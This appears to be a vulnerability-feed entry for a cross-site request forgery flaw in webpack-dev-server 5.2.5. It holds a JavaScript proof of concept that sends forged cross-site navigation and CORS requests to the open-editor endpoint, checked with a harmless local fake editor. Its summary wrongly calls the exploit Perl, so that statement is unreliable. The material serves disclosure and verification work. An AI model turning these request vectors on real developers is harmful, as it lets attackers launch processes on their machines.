A Cross-Site Request Forgery (CSRF) vulnerability exists in webpack_devserver versions up to and including 5.2.5. Exploit code is publicly available in Perl targeting Linux platforms. No official patch or vendor advisory is provided in the input data.

AI Analysis

Indicators of Compromise

• exploit-code: # Exploit Title: webpack_devserver 5.2.5 - Csrf # Date: 2026-07-17 # Exploit Author: Pig-Tail (Jorge González Milla) # Vendor Homepage: https://github.com/webpack/webpack-dev-server # Software Link: https://www.npmjs.com/package/webpack-dev-server # Version: <= 5.2.5 (fixed 5.2.6) # Tested on: Linux # CVE: CVE-2026-14620 # Category: webapps # Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/CVE-2026-14620-webpack-dev-server GET /webpack-dev-server/open-editor?fileName= reaches launchEditor() from cross-site navigation and fetch(mode:cors); the CVE-2026-6402 guard only blocks no-cors subresources. Advisory: GHSA-f5vj-f2hx-8m93. The PoC is a benign, local verification harness (sentinel-based; no network attack, no persistence, no destructive payload). Run against a local instance of the affected version. --- PoC (poc.js) --- /* * PoC — webpack-dev-server v5.2.5 open-editor cross-origin CSRF * * Demonstrates that GET /webpack-dev-server/open-editor?fileName=<path> reaches * launchEditor(fileName) from a CROSS-ORIGIN context, bypassing the cross-origin * guard added for CVE-2026-6402 / CVE-2025-30359. * * The guard (lib/Server.js:2039-2046) only blocks requests whose headers are * BOTH `sec-fetch-mode: no-cors` AND `sec-fetch-site: cross-site` — i.e. the * <script>/<img>/<link> subresource loads that the source-theft advisories were * about. It does NOT block: *   - cross-site NAVIGATIONS (iframe / window.open / top-level)  -> sec-fetch-mode: navigate *   - cross-site fetch(..., {mode:'cors'})                       -> sec-fetch-mode: cors * Both of those are exactly how a real malicious page reaches a state-changing * GET endpoint, and both let launchEditor() spawn a process on the dev's machine * with an attacker-chosen (existing) file path — INCLUDING paths outside the * project root. * * Benign marker: a fake "editor" ($MARKER_FILE) records the argv it was launched * with. No destructive action. Everything is local (127.0.0.1). */ "use strict"; const path = require("path"); const http = require("http"); const fs = require("fs"); const POC_DIR = __dirname; // Point this at a local `webpack-dev-server` checkout at the affected version (v5.2.5). //   WDS_ROOT=/path/to/webpack-dev-server node poc.js const WDS_ROOT = process.env.WDS_ROOT || path.resolve(POC_DIR, "webpack-dev-server"); const webpack = require(path.join(WDS_ROOT, "node_modules", "webpack")); const Server = require(path.join(WDS_ROOT, "lib", "Server.js")); const MARKER_FILE = path.join(POC_DIR, "marker.log"); const FAKE_EDITOR = path.join(POC_DIR, "fake-editor.sh"); // Attacker-chosen target: a file OUTSIDE the dev-server project root. const ATTACKER_TARGET = path.join(POC_DIR, "outside", "secret.txt"); // Make launch-editor deterministically use our benign sentinel "editor". process.env.LAUNCH_EDITOR = FAKE_EDITOR; process.env.MARKER_FILE = MARKER_FILE; try { fs.unlinkSync(MARKER_FILE); } catch {} fs.chmodSync(FAKE_EDITOR, 0o755); const HOST = "127.0.0.1"; function request(port, headers) {   return new Promise((resolve) => {     const url =       "/webpack-dev-server/open-editor?fileName=" +       encodeURIComponent(ATTACKER_TARGET);     const req = http.request(       { host: HOST, port, path: url, method: "GET", headers },       (res) => {         let body = "";         res.on("data", (c) => (body += c));         res.on("end", () => resolve({ status: res.statusCode, body }));       }     );     req.on("error", (e) => resolve({ status: 0, body: String(e) }));     req.end();   }); } function markerCount() {   try {     return fs       .readFileSync(MARKER_FILE, "utf8")       .split("\n")       .filter((l) => l.includes("LAUNCHED_WITH")).length;   } catch {     return 0;   } } async function waitMarker(prev, ms = 2500) {   const t0 = Date.now();   while (Date.now() - t0 < ms) {     if (markerCount() > prev) return true;     await new Promise((r) => setTimeout(r, 50));   }   return false; } (async () => {   const compiler = webpack({     mode: "development",     context: path.join(POC_DIR, "project"),     entry: "./src/index.js",     output: { path: path.join(POC_DIR, "project", "dist") },   });   // Default-ish config. allowedHosts defaults to "auto"; no special hardening.   const server = new Server({ host: HOST, port: 0 }, compiler);   await server.start();   const port = server.server.address().port;   console.log(`[*] dev server up on http://${HOST}:${port }  (allowedHosts: auto, default)\n`);   const results = [];   // Vector A — cross-site NAVIGATION (iframe / window.open). Real browsers send these.   let prev = markerCount();   let rA = await request(port, {     Host: `localhost:${port}`,     Origin: " https://evil.example ",     "Sec-Fetch-Mode": "navigate",     "Sec-Fetch-Site": "cross-site",     "Sec-Fetch-Dest": "iframe",   });   let firedA = await waitMarker(prev);   results.push(["A navigate (iframe) cross-site", rA.status, firedA]);   // Vector B — cross-site fetch(mode:'cors'). Response unreadable to attacker, side-effect still fires.   prev = markerCount();   let rB = await request(port, {     Host: `localhost:${port}`,     Origin: " https://evil.example ",     "Sec-Fetch-Mode": "cors",     "Sec-Fetch-Site": "cross-site",     "Sec-Fetch-Dest": "empty",   });   let firedB = await waitMarker(prev);   results.push(["B fetch{mode:cors} cross-site", rB.status, firedB]);   // Vector C — the ONLY combination the guard blocks: <img>/<script> no-cors subresource.   prev = markerCount();   let rC = await request(port, {     Host: `localhost:${port}`,     Origin: " https://evil.example ",     "Sec-Fetch-Mode": "no-cors",     "Sec-Fetch-Site": "cross-site",     "Sec-Fetch-Dest": "script",   });   let firedC = await waitMarker(prev, 1200);   results.push(["C no-cors (script/img) cross-site", rC.status, firedC]);   console.log("VECTOR                                 HTTP   launchEditor fired?");   for (const [name, status, fired] of results) {     console.log(       `${name.padEnd(38)} ${String(status).padEnd(5)}  ${fired ? "YES <-- attacker reached launchEditor" : "no (blocked)"}`     );   }   console.log("\n--- marker.log (argv the spawned 'editor' received) ---");   try { process.stdout.write(fs.readFileSync(MARKER_FILE, "utf8")); } catch { console.log("(empty)"); }   const pass = results[0][2] === true && results[1][2] === true && results[2][2] === false;   console.log(     `\nRESULT: ${pass ? "CONFIRMED" : "NOT CONFIRMED"} — ` +       `cross-site navigation & cors-fetch reach launchEditor (open arbitrary existing file: ${ATTACKER_TARGET}); ` +       `only no-cors subresource is blocked.`   );   await server.stop();   process.exit(pass ? 0 : 1); })().catch((e) => {   console.error("PoC error:", e);   process.exit(2); });